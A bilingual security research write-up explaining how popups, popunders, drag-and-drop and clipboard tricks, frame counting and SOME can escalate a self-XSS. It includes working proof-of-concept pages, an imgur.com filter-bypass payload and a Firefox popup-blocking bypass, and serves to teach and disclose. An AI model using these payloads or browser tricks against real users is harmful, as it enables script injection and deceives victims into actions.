Pesquisa de Segurança Client-SideClient-Side Security Research
Pop-Ups num Good-WorldPop-Ups in a Good-World
Como usar popups, popunders, clipboard, ondrag, frame counting e ataques SOME pra transformar um self-XSS sem impacto num XSS de verdade — sem CSRF, só com um tiquinho de Clickjacking.How to use popups, popunders, the clipboard, ondrag, frame counting and SOME attacks to turn an impactless self-XSS into a real XSS — no CSRF, just a little bit of Clickjacking.
- CVE ID
- Severity
- Affected
- Firefox, Chrome (comportamentos por design) · imgur.comFirefox, Chrome (by-design behaviors) · imgur.com
- Vendor
- Disclosure
- Pesquisa de técnica · não-CVETechnique write-up · non-CVE
- Researcher
- Guilherme Keerok — @k33r0k
Essa pesquisa foi divertida de fazer e eu acho que ela aborda algumas técnicas legais e teoricamente interessantes. Algumas coisas já foram reportadas antes, outras, pelo jeito que essas tecnologias foram feitas, nem precisam ser reportadas — várias técnicas aqui são consideradas by design nos browsers. Um dos temas principais que tentei focar foi não usar CSRF, então fiz algo parecido, tipo um "CSWF" (Cross-Site Window Forgery) — isso é só uma brincadeira, mas sim, sem CSRF e com um tiquinho de Clickjacking.This research was fun to do and I believe it covers some cool and theoretically interesting techniques. Some things have already been reported, others — because of the way these technologies were built — don't even need to be reported, since several techniques here are considered by design in browsers. One of the main themes I tried to focus on was not using CSRF, so I did something similar, maybe a "CSWF" (Cross-Site Window Forgery) — that's just a joke, but yeah, no CSRF and just a little bit of Clickjacking.
ConteúdoContents
IntroduçãoIntroduction
Comecei essa pesquisa mais ou menos na mesma época em que algumas features de segurança pra prevenir ataques de XSLeaks começaram a ser lançadas, então esse artigo não leva em conta essas proteções. A pesquisa é baseada só em popups em geral e em como a gente pode usar eles pra explorar vulnerabilidades client-side. Obrigatoriamente, 90% dela é baseada em ataques onde temos um popup blocking bypass, popunder, UI Redressing ou XSS.I started this research around the same time some security features to prevent XSLeaks attacks began to roll out, so this article doesn't account for those protections. The research is based purely on popups in general and how we can use them to exploit client-side vulnerabilities. Mandatorily, 90% of it is based on attacks where we have a popup blocking bypass, popunder, UI Redressing or XSS.
Acredito que algumas coisas neste artigo já foram apresentadas antes em algum outro blog post ou artigo. Caso eu tenha esquecido de citar alguma dessas referências, me manda uma DM no Twitter.I believe some things in this article have already been presented before in some other blog post or article. In case I forgot to mention any of these references, send me a DM on Twitter.
Muita coisa descrita aqui já foi introduzida neste white paper: eu-14-Hayak (Same Origin Method Execution). De qualquer forma, vou fazer uma breve explicação de alguns assuntos de novo.A lot of what's described here was already introduced in this white paper: eu-14-Hayak (Same Origin Method Execution). Anyway, I'll give a brief explanation of some of these subjects again.
ConceitosConcepts
Popup blockingPopup blocking
Como já comentei, parte dessa pesquisa é baseada em comportamentos incomuns dos browsers, bem como no comportamento de um bypass de popup blocking. O popup blocking é uma feature de segurança do browser que impede um site de abrir várias janelas ou abas sem a permissão do usuário pra esse tipo de ação. Abrir uma única página é permitido por essa feature, porém, quando uma página tenta abrir duas ou mais abas de uma vez, sem interação direta do usuário, o popup blocking precisa restringir essa abertura. Abaixo está representado um caso comum, no qual o popup blocking não será disparado e vai permitir a abertura de uma nova aba sem restrições; em seguida temos o segundo caso, onde o popup blocking será disparado e o browser não vai permitir a abertura de uma nova aba.As mentioned, part of this research is based on unusual browser behaviors, as well as the behavior of a popup blocking bypass. Popup blocking is a browser security feature that prevents a website from opening numerous windows or tabs without the user's permission for that kind of action. Opening a single page is allowed by this feature; however, when a page tries to open two or more tabs at once without direct user interaction, popup blocking in turn needs to restrict that opening. Below is a common case in which popup blocking will not be triggered and will allow a new tab to open without restrictions; then we have the second case, where popup blocking will be triggered and the browser will not allow a new tab to open.
Exemplo 1Example 1
<html>
<head></head>
<body>
<a href='https://example.com' '_blank'>open example.com</a>
</body>
</html>
Exemplo 2Example 2
<html>
<head>
</head>
<body>
<a href=# id=click>open example.com</a>
<script>
click.onclick = () => {
for(var i =0; i<5;i++){
window.open('https://example.com/','_blank');
}
}
</script>
</body>
</html>
Então, num caso onde um bypass de popup blocking é disparado, algo parecido com a demonstração abaixo vai acontecer:So, in a case where a popup blocking bypass is triggered, something like the demonstration below will happen:
PopunderPopunder
Um Popunder acontece quando a gente consegue abrir uma nova janela e, ao mesmo tempo, tirar o foco da janela recém-aberta de volta pra janela de origem. Então se uma página chamada attack.html tivesse no HTML o seguinte JavaScript <script>window.open('https://example.com/','_blank')</script>, quando o browser abrisse a nova aba contendo a URL https://example.com/, seria necessário fazer o example.com dar foco no attack.html de novo ou, por outra técnica, fazer a própria página attack.html dar foco em si mesma. Um exemplo desse comportamento está abaixo.A Popunder happens when we can open a new window and, at the same time, shift the focus from the just-opened window back to the source window. So if a page named attack.html had in its HTML the following JavaScript <script>window.open('https://example.com/','_blank')</script>, when the browser opened the new tab containing the URL https://example.com/, it would be necessary to make example.com focus back on attack.html again or, via another technique, make the attack.html page focus itself. An example of this behavior is shown below.
OutrosOthers
XSS e ClickJacking também vão ser abordados neste artigo, porém vamos discuti-los em cenários mais restritos e bem particulares.XSS and ClickJacking will also be covered in this article, but we'll discuss them in more restricted and very particular scenarios.
Comportamentos dos BrowsersBrowsers Behaviors
Na versão atual do Firefox temos dois comportamentos diferentes e interessantes, mas um deles em particular pode ser muito útil pra aproveitar um self-xss.In the current version of Firefox we have two different and interesting behaviors, but one of them in particular can be very handy for taking advantage of a self-xss.
Digamos que eu tenha um self-xss dentro do victim.com, porém esse self-xss precisa ser colocado dentro de um input específico — que tipo de método a gente pode usar aqui? Em geral, sempre analisamos se a página tem X-Frame-Options e, se tiver, deixamos o self-xss de lado, porque fica bem difícil provar impacto.Let's say I have a self-xss inside victim.com, but this self-xss needs to be inserted into a specific input — what kinds of methods can we use here? In general, we always check whether the page has X-Frame-Options and, if it does, we set the self-xss aside, because it gets really hard to prove impact.
Nesse caso, lembrei de testar uma coisa com o evento ondrag e acabei reparando em algo: quando a gente define um metadado dentro do conteúdo do ondrag e joga isso dentro de outra janela, continua funcionando. Então, por que não juntar isso com a abertura de uma única janela?In this case, I remembered testing something with the ondrag event and ended up noticing something: when we set metadata inside the ondrag's content and drop it into another window, it keeps working. So why not join it with opening a single window?
Chrome & Firefox — Primeiro casoChrome & Firefox — First case
1 drag me
2 <script>
3 document.addEventListener("dragstart",(event)=>{
4 event.dataTransfer.setData("text","<img src=x onerror=alert(document.domain)>");
5 })
6 ondrag = () =>{
7 setTimeout(()=>{
8 window.open('http://localhost:84/victim.html');
9 },1000);
10 }
11 </script>
Algumas técnicas já foram publicadas, especialmente sobre casos de copy & paste, o que acaba incluindo o evento ondrag. O método dataTransfer.setData é muito parecido com o navigator.clipboard, exceto que, no caso do navigator.clipboard, não há necessidade de interação do usuário, enquanto no caso do ondrag uma interação é necessária, já que o método dataTransfer.setData só vai ser disparado dentro de um evento de drag. Resumindo o método: quando há um drag na página, o dataTransfer.setData vai escrever um novo dado no lugar do dado que o usuário está arrastando.Some techniques have already been published, especially around copy & paste cases, which ends up including the ondrag event. The dataTransfer.setData method is very similar to navigator.clipboard, except that with navigator.clipboard there's no need for user interaction, while with ondrag an interaction is required, since the dataTransfer.setData method only fires inside a drag event. To sum up the method: when there's a drag on the page, dataTransfer.setData writes new data in place of the data the user is dragging.
Juntando o clipboard com a abertura de uma página, as coisas ficam interessantes. O cenário a seguir é um exemplo de um caso que encontrei em vários lugares. Inicialmente estruturei isso pra um XSS que reportei pro Imgur, mas depois de pesquisar mais, achei uma alternativa melhor. O cenário consiste em duas páginas, attacker.html e victim.html. A página attacker.html contém o ataque descrito acima.By joining the clipboard with opening a page, things get interesting. The following scenario is an example of a case I came across in several places. I initially structured it for an XSS that I reported to Imgur, but after more research I found a better alternative. The scenario consists of two pages, attacker.html and victim.html. The attacker.html page contains the attack described earlier.
- linha 1:
drag meé só um texto qualquer, pra convencer a vítima a iniciar oondrag;line 1:drag meis just some random text, to convince the victim to start theondrag; - linha 3: um evento é criado e adicionado pra escutar o momento exato em que o usuário inicia o
ondrag;line 3: an event is created and added to listen for the exact moment the user starts theondrag; - linha 4: o
event.dataTransfer.setDatavai trocar o conteúdodrag mepor<img src=x onerror=alert(1)>;line 4:event.dataTransfer.setDatawill change thedrag mecontent to<img src=x onerror=alert(1)>; - linha 6: o
ondragé referenciado pra executar uma função sempre que o evento for disparado pelo usuário;line 6:ondragis referenced to execute a function whenever the event is fired by the user; - linha 8: uma janela é aberta com a URL onde está o
self-xss;line 8: a window is opened with the URL where theself-xsslives;
Esse caso foi apresentado anteriormente por @renwax23, porém ele usa scroll pra que o payload salvo no setData do dataTransfer seja inserido no campo vulnerável no fim da página: https://renwax23.github.io/X/xschal1j.html.This case was previously presented by @renwax23, but he uses scrolling so that the payload saved in dataTransfer's setData gets inserted into the vulnerable field at the end of the page: https://renwax23.github.io/X/xschal1j.html.
ondrag é solto dentro da janela da vítima, disparando o XSS.The ondrag content is dropped into the victim window, firing the XSS.Chrome & Firefox — Segundo casoChrome & Firefox — second case
O segundo caso é parecido com o primeiro, mas usa navigator.clipboard. Porém, pra esse ataque funcionar de forma mais natural, o input vulnerável onde o payload de XSS deve ser colocado precisa ter um id, assim é possível abrir uma nova janela e, depois que o conteúdo carregar, o input ganha foco automaticamente. Isso não é novidade, mas é algo que deixa o ataque mais interessante.The second case is similar to the first, but uses navigator.clipboard instead. However, for this attack to work more naturally, the vulnerable input where the XSS payload should go needs to have an id, so it's possible to open a new window and, after the content loads, the input gets focused automatically. This isn't new, but it's something that makes the attack more interesting.
form.htmlform.html
<html>
<head>
<style>
#xss{
height: 100px;
width: 700px;
}
</style>
</head>
<body>
<form>
<input id=xss type=text>
</form>
<div id=output></div>
<script>
setInterval(()=>{
output.innerHTML=xss.value;
},1500)
</script>
</body>
</html>
evil.htmlevil.html
1 <html>
2 <head>
3 </head>
4 <body>
5 press ctrl+v
6 <script>
7 onkeypress=()=>{
8 setTimeout(()=>{
9 window.open('http://localhost/form.html#xss');
10 },500)
11 }
12 setInterval(()=>{
13 navigator.clipboard.writeText('<img src=x onerror=alert(1)>');
14 },500)
15 </script>
16 </body>
17 </html>
#xss; o Ctrl+V cola o payload do clipboard.The new window focuses the input via the #xss fragment; Ctrl+V pastes the payload from the clipboard.Só Firefox — Terceiro casoFirefox Only — Third case
Outro comportamento interessante do Firefox é a interação entre a top window e o iframe. Em outros browsers, é necessário pelo menos um clique pra que o foco seja colocado num iframe e você consiga interagir com ele. Porém, no Firefox esse clique não é necessário, e a falta dessa interação permite que um evento ondrag termine num input dentro de um iframe.Another interesting Firefox behavior is the interaction between the top window and an iframe. In other browsers, at least one click is needed for focus to land on an iframe so you can interact with it. In Firefox, though, that click isn't necessary, and the lack of that interaction lets an ondrag event end on an input inside an iframe.
form.htmlform.html
<html>
<head>
</head>
<body>
<b>result search:</b><p id=output></p>
<input type=text id=inp>
<script>
inp.onfocus=()=>{
output.innerHTML=inp.value
}
</script>
</body>
</html>
index.htmlindex.html
<html>
<head>
</head>
<body>
<iframe src="https://vulnerable/form.html">
<script>
document.addEventListener("dragstart",(event)=>{
event.dataTransfer.setData("text","<img src=x onerror=alert(document.domain)>");
});
</script>
</body>
</html>
No exemplo acima, a página do atacante é de um domínio diferente do iframe da vítima. Tipo um atacante e um host de onde teria uma funcionalidade que lê conteúdo automaticamente — não necessariamente precisa ler o conteúdo de forma automática, isso não é um requisito, já que é possível fazer o mesmo ataque usando dois eventos (um ondrag e um click). Mas optei por mostrar o ataque desse jeito porque é mais interessante.In the example above, the attacker's page is on a different domain than the victim's iframe. Such as an attacker and a host that would have a feature reading content automatically — it doesn't necessarily need to read content automatically, that isn't a requirement, since it's possible to do the same attack using two events (an ondrag and a click). But I chose to show the attack this way because it's more interesting.
A ideia central aqui, claro, é usar o fato de que o iframe não está isolado desses tipos de interação (tipo o ondrag), então existe a possibilidade de arrastar conteúdo pra dentro de um iframe. Essa técnica já me ajudou a conseguir alguns XSS em programas de bug bounty.The main idea here, of course, is to use the fact that the iframe isn't isolated from these kinds of interactions (like ondrag), so there's a possibility of dragging content into an iframe. This technique has already helped me get some XSS in a few bug bounty programs.
Chrome & Firefox — Quarto casoChrome & Firefox — Fourth case
Alguns dias antes de terminar este artigo eu estava pensando em como poderia reproduzir a técnica do clipboard dentro de um iframe. Na real não tem grandes complicações, já que dá pra gerar o foco num input dentro de um iframe se esse input tiver um id válido; caso contrário, fica mais difícil focar sem interação do usuário.A few days before finishing this article I was thinking about how I could reproduce the clipboard technique inside an iframe. There really aren't any major complications, since we can generate focus on an input inside an iframe if that input has a valid id; otherwise it becomes harder to focus without user interaction.
index.htmlindex.html
<html>
<head></head>
<body>
<input id=button onfocus="testFocus()" type=text autofocus>
<script>
const testFocus=()=>{
location.href="https://webhook.site/1d555163-68cd-4ccf-a260-b158747035c4#button"
}
</script>
</body>
</html>
webhook.sitewebhook.site
<html>
<head>
</head>
<body>
<input type=text id=button>
<script>
setInterval(()=>{
result.innerHTML=button.value
},1000)
</script>
<div id=result></div>
</body>
</html>
Self-XSS pra Good-XSS no imgur.comSelf-XSS to Good-XSS in imgur.com
Lá em 2020, fiz uma pesquisa no imgur.com, achei alguns self-xss, mas o escopo do programa deixava explícito que um self-xss sem uma boa chain não seria considerado um bug. Então comecei a me aprofundar na aplicação pra entendê-la e, quem sabe, achar alguma falha de lógica que me permitisse transformar esse self-xss em good-xss.Back in 2020, I did some research on imgur.com and found some self-xss, but the program scope made it explicit that a self-xss without a good chain wouldn't be considered a bug. So I started going deep into the application to understand it and maybe find some logic flaw that would let me turn this self-xss into good-xss.
self-xss no Imgurself-xss in Imgur
O filtro é bem básico, ele só remove algumas keywords e algumas tags, então <<script> img src=x> depois de filtrado vira <img src=x>. Acabei usando src porque reparei que o filtro estava sanitizando os eventos "on" corretamente, então optei por usar javascript:alert(1); porém a palavra javascript também estava sendo filtrada, especialmente nesse contexto. Por sorte, percebi que, parecido com o caso de <<script> img src=x>, se eu separasse a palavra em duas partes e colocasse javascript no meio das duas partes, ele juntaria de novo depois de passar pelo filtro. Combinando tudo isso num único payload, dava pra executar XSS:The filter is very basic; it just removes some keywords and some tags, so <<script> img src=x> after filtering becomes <img src=x>. I ended up using src because I noticed the filter was sanitizing the "on" events correctly, so I opted for javascript:alert(1); however, the word javascript was also being filtered, especially in this context. Luckily, I realized that — similar to the <<script> img src=x> case — if I split the word into two parts and put javascript between the two parts, it would join them back after passing through the filter. Combining all of this into a single payload meant we could execute XSS:
<<script>iframe src=javajavascriptscript:alert(document.domain)>
javascript em duas pra que o filtro a remonte e dispare o XSS.Splitting the javascript keyword in two so the filter reassembles it and fires the XSS.Bypass de XFO (contexto da aplicação)Bypass XFO (Application Context)
Descobri que alguns endpoints permitem que um site externo coloque esses endpoints num iframe, mas com algumas limitações, já que todos os endpoints do imgur.com têm proteção XFO que não permite essas páginas serem colocadas num iframe. Porém, durante os testes notei uma regra: o header XFO só era setado quando o referrer vinha de outra origem ou quando não havia referrer. Num outro caso, dentro do próprio Imgur, notei que nos subdomínios de cada usuário o /all/ não setava XFO; porém a superfície de ataque era menor e mais complexa, então escolhi debugar melhor os endpoints do domínio principal que aceitavam ser integrados num iframe. Um desses endpoints era /a/IMAGE_ID/embed.I found out that some endpoints allow an external website to place those endpoints in an iframe, but with some limitations, since all imgur.com endpoints have XFO protection preventing those pages from being framed. However, during testing I noticed a rule: the XFO header was only set when the referrer came from another origin or when there was no referrer. In another case, inside Imgur itself, I noticed that in each user's subdomains /all/ didn't set XFO; but the attack surface there was smaller and more complex, so I chose to debug the main-domain endpoints that accepted being embedded in an iframe instead. One of those endpoints was /a/IMAGE_ID/embed.
/a/IMAGE_ID/embed é uma página normal pra embedar álbuns e fotos em sites externos — colocar esse endpoint num iframe é esperado. Porém, adicionei um /embed a mais na URL, só pra ver qual seria a reação, e surpreendentemente ela abriu a página do post real, dentro da imagem e sem nenhuma proteção contra XFO. Então, no canto superior esquerdo, era possível navegar pra página de upload:/a/IMAGE_ID/embed is a normal page for embedding albums and photos on external websites — framing that endpoint is expected. But I added one extra /embed to the URL, just to see how it would react, and surprisingly it opened the actual post's page, inside the image and without any XFO protection. So, in the top-left corner, it was possible to navigate to the upload page:
Frame CountingFrame Counting
Com o bypass de XFO, comecei a modelar a ideia da prova de conceito e cheguei à conclusão de que precisaria de pelo menos 3 interações do usuário pra conseguir o XSS: a primeira seria o clique do usuário no botão de upload, a segunda o upload de uma foto, e a terceira o paste do XSS. Só com o bypass de XFO isso já era possível, mas eu não senti que era suficiente — o ataque não seria muito convincente e seria difícil fazer os usuários executarem essas ações, então decidi modelar um ataque mais sofisticado pra isso. Olhei todas as possibilidades que consegui pensar pra deixar as ações necessárias imperceptíveis, e pensei numa — porém eu precisaria usar frame counting pra conseguir.With the XFO bypass, I started modeling the proof-of-concept idea and concluded I'd need at least 3 user interactions to get the XSS: the first being the user's click on the upload button, the second the upload of a photo, and the third the XSS paste. Just with the XFO bypass this was already possible, but I didn't feel it was enough — the attack wouldn't be very convincing and it'd be hard to get users to perform those actions, so I decided to model a more sophisticated attack for this. I went through every possibility I could think of to make the required actions imperceptible, and I thought of one — but I'd need to use frame counting to pull it off.
Durante os testes, notei que existe uma grande diferença no número de iframes em algumas páginas, especialmente na upload? em relação às outras. Nas outras páginas, geralmente temos mais de 3 frames, enquanto na página upload? temos só 1 frame — essa informação é muito boa pra construção do ataque, porque ter a noção do número de frames que a página alvo tem em relação às outras ajuda muito na hora de tentar detectar navegações dentro de um iframe. Quando estamos criando um iframe de /a/IMAGE_ID/embed/embed, sabemos que ele vai ter mais de um iframe, e que quando uma navegação pra upload? acontece, vai ter só um iframe. Com essa informação, agora é possível saber em qual página o usuário está.During testing, I noticed there's a big difference in the number of iframes on some pages, especially on upload? relative to the others. On other pages we usually have more than 3 frames, while on the upload? page we have only 1 frame — this information is very useful for building the attack, because having a sense of how many frames the target page has relative to the others helps a lot when trying to detect navigations inside an iframe. When we create an iframe of /a/IMAGE_ID/embed/embed, we know it'll have more than one iframe, and that when a navigation to upload? happens there'll be only one iframe. With that information, it's now possible to know which page the user is on.
<iframe id=ifr></iframe>
<script>
ifr.onload=function(){
console.log(ifr.contentWindow.frames.length);
}
</script>
Seria possível fazer o mesmo tipo de detecção se achássemos outro tipo de XSLeak na página. Por exemplo, se na página de upload tivesse um postMessage sendo enviado pra fora do domínio, que a nossa página pudesse escutar, também seria possível detectar o momento em que o iframe navegou pra a página de upload.It would be possible to do the same kind of detection if we found another type of XSLeak on the page. For example, if the upload page had a postMessage being sent outside the domain that our page could listen to, it would also be possible to detect the moment the iframe navigated to the upload page.
ondrag aqui tambémondrag here too
O ondrag tem 3 funções muito importantes: ondragstart, ondragend e o conteúdo dentro do dataTransfer. Arrastar a imagem pra dentro do iframe é obrigatório pra vulnerabilidade funcionar, então obrigatoriamente o início do ondrag é o movimento de arrastar a imagem pra dentro do iframe, e no momento em que a imagem é solta uma nova mensagem vai aparecer pro usuário.ondrag has 3 very important functions: ondragstart, ondragend, and the content inside dataTransfer. Dragging the image into the iframe is mandatory for the vulnerability to work, so the start of the ondrag is mandatorily the motion of dragging the image into the iframe, and the moment the image is released a new message will appear for the user.
Truque do ClipboardClipboard Trick
Usei navigator.clipboard.writeText() pra escrever no clipboard da vítima, de modo que o conteúdo do clipboard dela agora é o payload de XSS. Juntando todas essas partes, foi possível criar uma PoC iterativa. Sem contar o número de frames, eu não acho que esse ataque seria possível de realizar, e se não houvesse jeito de interagir com o iframe no Firefox esse ataque seria ainda mais difícil de executar (se não impossível).I used navigator.clipboard.writeText() to write to the victim's clipboard, so the victim's clipboard content is now the XSS payload. Putting all these parts together, it was possible to create an iterative PoC. Without counting the number of frames, I don't think this attack would be feasible, and if there were no way to interact with the iframe in Firefox this attack would be even harder to carry out (if not impossible).
Código completo da PoC.Full code of the PoC.
PopUndersPopUnders
Como já introduzi, popunders podem ser usados pra esconder ataques com sucesso, ou simplesmente pra esconder uma página. Por um tempo, tentei pensar em algo mais que daria pra fazer com um popunder, talvez alguma técnica de ataque nova; porém, em todas as técnicas que pensei era necessário um 0day no browser (seja pra trocar o foco entre janelas, seja pra de alguma forma fazer janelas recém-criadas interagirem com outra janela principal). Levando essa segunda opção em conta, dá pra usar isso em alguns tipos de ataque, mas esses ataques são muito limitados e muitas vezes sem impacto se a janela principal não executar uma tarefa automaticamente. De qualquer forma, seria necessário usar SOME pra esses tipos de ataque.As introduced earlier, popunders can be used to successfully hide attacks, or simply to hide a page. For a while, I tried to think of something else you could do with a popunder, maybe some new attack technique; however, in every technique I thought of, a browser 0day was needed (either to switch focus between windows, or to somehow make newly created windows interact with another main window). Taking this second option into account, you can use it in some kinds of attacks, but these are very limited and often impactless if the main window doesn't automatically execute a task. Either way, you'd need to use SOME for these kinds of attacks.
Eu não tenho uma tática nem uma lista de tarefas de teste quando procuro por popunders; a maior técnica de busca que funciona pra mim é realmente entender como os eventos e o ecossistema do browser funcionam. Popunders às vezes acontecem em combinações que fazem sentido (de uma perspectiva lógica), nem sempre. Obrigatoriamente, pra conseguir um popunder é necessário achar um evento que crie um foco na janela que inicia o comportamento. Esse efeito já foi feito de várias formas, mas vou mostrar só dois métodos autorais.I don't have a tactic or a list of testing tasks when hunting for popunders; the biggest search technique that works for me is really understanding how events and the browser ecosystem work. Popunders sometimes happen in combinations that make sense (from a logical perspective), not always. Mandatorily, to get a popunder you need to find an event that creates focus on the window that initiates the behavior. This effect has been done in several ways, but I'll show only two of my own methods.
Esse primeiro método funciona tanto no Chrome quanto no Firefox. O comportamento que gera o popunder vem do download attachment combinado com onbeforeunload e navegação automática. Quando o download attachment é disparado, um alerta de download aparece no browser perguntando se você realmente quer salvar esse arquivo; em seguida o location tenta navegar pro google.com, mas o onbeforeunload acaba travando essa navegação, criando outro alerta no browser que pergunta se o usuário realmente quer sair. Essa combinação de eventos acaba tirando o foco da nova janela que foi aberta.This first method works on both Chrome and Firefox. The behavior that generates the popunder comes from the download attachment combined with onbeforeunload and automatic navigation. When the download attachment fires, a download alert pops up in the browser asking whether you really want to save the file; then location tries to navigate to google.com, but onbeforeunload ends up locking that navigation, creating another browser alert asking whether the user really wants to leave. This combination of events ends up taking focus off the newly opened window.
1 <html>
2 <head>
3 </head>
4 <body>
5 <input type="text" onselect="bug()" oncopy="bug()" value="test me">
6 <script>
7 const bug = () =>{
8 setTimeout(()=>{
9 window.open('http://evil.com/');
10 document.write(`<iframe src=http://localhost/download_attach.php></iframe>
11 <script>
12 onbeforeunload=()=>{
13 return '';
14 }
15 location='//google.com'
16 <\/script>`)
17 },50)
18 }
19 </script>
20 </body>
21 </html>
- linha 9: um
window.opené aberto;line 9: awindow.openis opened; - linha 10: logo depois da janela ser chamada, um
document.writeescreve um iframe com o src referenciandodownload_attach.php, que contém umcontent-attachment, ou seja, um arquivo qualquer pra ser baixado;line 10: right after the window is called, adocument.writewrites an iframe whose src referencesdownload_attach.php, which contains acontent-attachment— that is, some random file to be downloaded; - linha 12: o
onbeforeunloadé setado comreturn ''. Nesse caso, uso oonbeforeunloadpra travar a navegação automática;line 12:onbeforeunloadis set withreturn ''. Here I useonbeforeunloadto lock the automatic navigation; - linha 15: um
locationredirecionando progoogle.com, cujo redirect vai ser bloqueado por causa doonbeforeunload.line 15: alocationredirecting togoogle.com, whose redirect will be blocked because ofonbeforeunload.
Esse foi o primeiro popunder que encontrei:This was the first popunder I came across:
<script>
function requestFullScreen(element) {
var requestMethod = element.requestFullScreen || element.webkitRequestFullScreen || element.mozRequestFullScreen || element.msRequestFullScreen;
if (requestMethod) {
requestMethod.call(element);
}
}
onkeypress=function(){
var elem = document.body;
requestFullScreen(elem);
window.open('//example.com','_blank','a');
}
</script>
Em alguns casos, o popunder pode ser muito útil pra quando a página vulnerável é muito pesada ou demora mais que o normal pra carregar. Só a título de demonstração, abaixo está uma representação do que seria uma chain entre popunder e o uso do clipboard pra melhorar um self-xss:In some cases, the popunder can be very useful when the vulnerable page is very heavy or takes longer than usual to load. Just for the sake of demonstration, below is a representation of what a chain between a popunder and the use of the clipboard would look like when upgrading a self-xss:
popunder-oncopy.htmlpopunder-oncopy.html
<html>
<head>
</head>
<body>
<input type="text" onselect="bug()" oncopy="bug()" value="test me">
<script>
var w;
const bug = () =>{
setTimeout(()=>{
w = window.open('http://localhost:81/form.html','_blank');
document.write(`<iframe src=http://localhost:81/download_attach.php></iframe>
<script>
onbeforeunload=()=>{
return '';
}
location='//google.com'
<\/script>`)
},50)
}
bug();
onkeypress=()=>{
w.focus();
}
setInterval(()=>{
navigator.clipboard.writeText('<img src=x onerror=alert(1)>');
},500)
</script>
</body>
</html>
Bypass de PopUp BlockingBypass PopUp Blocking
Durante o processo de descobrir esse bug, a real intenção nem era achar um bypass de popup blocking, mas acabei achando um, e junto com isso me deparei com a falta de reports sobre o assunto. Nesta seção, vou explicar sobre um bypass de popup blocking que achei cerca de 7 meses atrás. Esse bypass depende de um clique do usuário. Nos browsers, podemos ter dois tipos de clique:During the process of discovering this bug, the real intention wasn't even to find a popup blocking bypass, but I ended up finding one, and along with that I noticed the lack of reports on the subject. In this section, I'll explain a popup blocking bypass I found about 7 months ago. This bypass depends on a user click. In browsers, we can have two types of clicks:
- clique real;real click;
- Synthetic click event.Synthetic click event.
A parte principal do bug é o clique em geral, já que parece que o Firefox falha em entender o que é um clique do usuário e o que é um Synthetic click event. Ainda assim, pra criar essa confusão no Firefox é necessário que o usuário inicialmente clique numa página maliciosa, pra então conseguirmos disparar o Synthetic click automaticamente, fazendo o Firefox entender que o Synthetic click é um clique do usuário.The main part of the bug is the click in general, since it seems Firefox fails to tell apart what is a user click and what is a Synthetic click event. Still, to create this confusion in Firefox the user needs to initially click on a malicious page, so that we can then trigger the Synthetic click automatically, making Firefox understand the Synthetic click as a user click.
1 <!DOCTYPE html>
2 <html lang="en" dir="ltr">
3 <head>
4 <meta charset="utf-8">
5 <title>Bypass popup Blocking</title>
6 </head>
7 <body>
8 <p><label><input type="checkbox" id="checkbox"> check me </label>
9 <p><button id="button">Click me to spawn a lot of popups</button>
10 <script type="text/javascript">
11
12 onclick=function(e){
13 setTimeout(function(){
14 window.open(location.href,"_blank","toolbar=yes,scrollbars=yes,resizable=yes,top=500,left=500,width=400,height=400")
15 }, 0);
16 }
17
18 function simulateClick() {
19 var evt = new MouseEvent("click", {
20 bubbles: true,
21 });
22 var cb = document.getElementById("checkbox");
23 cb.dispatchEvent(evt);
24 }
25
26 // Spawn an arbitrary number of popups this way
27 var num_popups = 10;
28 for (let i = 0; i < num_popups; i++) {
29 document.getElementById("button").addEventListener('click', () => simulateClick());
30 }
31 </script>
32 </body>
33 </html>
- linha 12: um evento de click é adicionado à página, onde ele espera o clique inicial do usuário;line 12: a click event is added to the page, where it waits for the user's initial click;
- linhas 13 e 14: um setTimeout é definido, onde dá pra criar um timing pra abertura das janelas. Então o primeiro popup é aberto, via
window.open();lines 13 & 14: a setTimeout is set, where it's possible to create timing for opening the windows. Then the first popup is opened, viawindow.open(); - linha 18: a função
simulateClické definida;line 18: thesimulateClickfunction is defined; - linhas 19 e 20: a variável
evtrecebe um evento de mouse click. Setamosbubble: truepra criar um efeito automático que passa pelos elementos pai;lines 19 & 20: theevtvariable is assigned a mouse click event. We setbubble: trueto create an automatic effect that propagates through the parent elements; - linha 23: o evento criado nas linhas anteriores é adicionado ao
checkbox;line 23: the event created in the previous lines is added to thecheckbox; - linha 27:
num_popupsé o número de popups que serão abertos;line 27:num_popupsis the number of popups that will be opened; - linha 29: um listener é adicionado por um clique dentro do id button; se esse evento for escutado, o
simulateClickserá disparado e entrará num event loop.line 29: a listener is added on a click inside the button id; if that event is heard,simulateClickfires and enters an event loop.
Pequena TécnicaLittle Technique
Tem uma técnica que eu não me aprofundei, mas que vejo potencial, que é o leitor de clipboard do browser. Não existe feature de segurança que impeça a escrita num clipboard, porém existe uma feature de segurança pra não permitir que uma página leia o clipboard do usuário. Quando usamos navigator.clipboard.readText(), uma janela no canto esquerdo do browser é aberta, fazendo a mesma pergunta de quando você entra num site que requer o uso de câmera ou microfone. Isso não é novidade, mas é possível enganar o usuário de um jeito que faça ele clicar pra permitir a leitura do clipboard (enganando o usuário em vez do browser).There's a technique I didn't dig into but see potential in, which is the browser's clipboard reader. There's no security feature preventing writing to a clipboard, but there is a security feature to disallow a page from reading the user's clipboard. When using navigator.clipboard.readText(), a window opens in the left corner of the browser, asking the same question as when entering a site that requires camera or microphone access. This isn't new, but it's possible to deceive the user in a way that makes them click to allow reading the clipboard (deceiving the user instead of the browser).
reader.htmlreader.html
<html>
<head>
<title>clipboard reader</title>
</head>
<body>
<pre id=output>
</pre>
<script>
setInterval(()=>{
navigator.clipboard.readText().then(
clipText => output.innerText = clipText);
},500)
</script>
</body>
</html>
O código acima vai ler o seu clipboard (primeiro a página vai te pedir pra aceitar o leitor) e escrever dentro do <pre>.The code above will read your clipboard (first the page will ask you to accept the reader) and write it into the <pre>.
Ataque SOMESOME Attack
O Ataque SOME é um ataque que foi introduzido em 2014, pelo pesquisador Ben Hayak. Existe um ótimo white paper escrito por ele sobre o ataque: eu-14-Hayak. O conceito do ataque é legal, mas hoje em dia é difícil achar cenários onde dá pra explorá-lo — porém, já foram encontrados no passado.The SOME Attack is an attack introduced in 2014 by researcher Ben Hayak. There's a great white paper he wrote about it: eu-14-Hayak. The concept of the attack is cool, but nowadays it's hard to find scenarios where you can exploit it — though they have been found in the past.
